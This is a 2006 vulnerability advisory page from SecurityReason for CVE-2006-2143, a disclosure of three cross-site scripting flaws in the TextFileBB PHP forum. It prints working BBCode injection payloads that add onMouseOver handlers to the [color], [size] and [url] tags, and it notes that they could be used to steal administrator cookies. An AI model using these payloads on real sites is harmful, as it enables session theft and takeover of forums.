|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 828 CVE : CVE-2006-2143 SecurityRisk : Low  (About) Remote Exploit : Yes Local Exploit : No Exploit Available : Yes Credit : r0xes ratm gmail com Published : 03.05.2006
Advisory Content : TextFileBB is a flat-file based bulletin board system written in PHP. There are 3 different XSS vulnerabilities in this software at the moment, which I found about half an hour ago =D Anyway, the XSS lies in these tags: [color] [size] [url] EXPLANATION: Firstly, we'll explain [color]. [code][.color=#00'">0FFF] """xss [/color][/code] Would give us: [code]<font >0fff="" color="#000000"> """xss </font>[/code] Therefore we can see that we actually are breaking the tag and that our last part (0FFF) is stripped (funnily enough I found this by typo.) So, we need to do: [code][.color=#00F"onMouseOver='alert(/xss/)' x="]h0n0[/color][/code] As this would give us: [code]<font onmouseover="alert(/xss/)" x="" color="#000000">h0n0</font>[/code] We use the #00F to start the color (so that it IS parsed [attempted to be] by the parser), and break out of that with our quote - it'll be replaced with a space. The color will be left as #000000. I added the x="" attribute because I noticed it wouldn't render in IE for some wierd reason. NEXT: [size]. This is basically the same as [color], but tad different. [code][.size=7" OnMouseOver="alert(/xss/)]Clicky Here [/size][/code] We break out of the size with the first quote, and then use our MouseOver - we do not close the MouseOver ourselves because the parser will enclose everything in "". Turns into: (something like) [code]<font size="7" onMouseOver="alert(/xss/)">Clicky Here</font>[/code] LAST: [url]. I don't think the parser cares whether or not you include the http://, but I added it just as an example. [code][.url=http://" OnMouseOver="alert(/xss/)]hmm[/url][/code] Same as with [size], we break out of the href and then do not add a " to the end because the parser will do it for us. USAGE: TextFileBB stores user information in cookies, so you could steal the administrator's cookies and take over the board. Credits: me =D Shouts: digi7al64 - PrOtOn - Lockdown - WhiteAcid Video @ http://dynxss.whiteacid.org/videos/TextFileBB_1.0.16-final.rar]http://dy nxss.whiteacid.org/videos/TextFil....0.16-final.rar :: 8mb  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
libc:fts_*() Multiple Denial of Service
The fts functions are provided for traversing UNIX file hierarchies... |
||
| Apache |  |
|
» Apache Tomcat 6.0.20 and |
||
» Apache Tomcat 6.0.20 and |
||
» Apache Tomcat 6.0.20 and |
||
| PHP | |
|
» PHP 5.2.12/5.3.1 |
||
- 2009-10-02| Copyright © SecurityReason.com. All Rights Reserved. |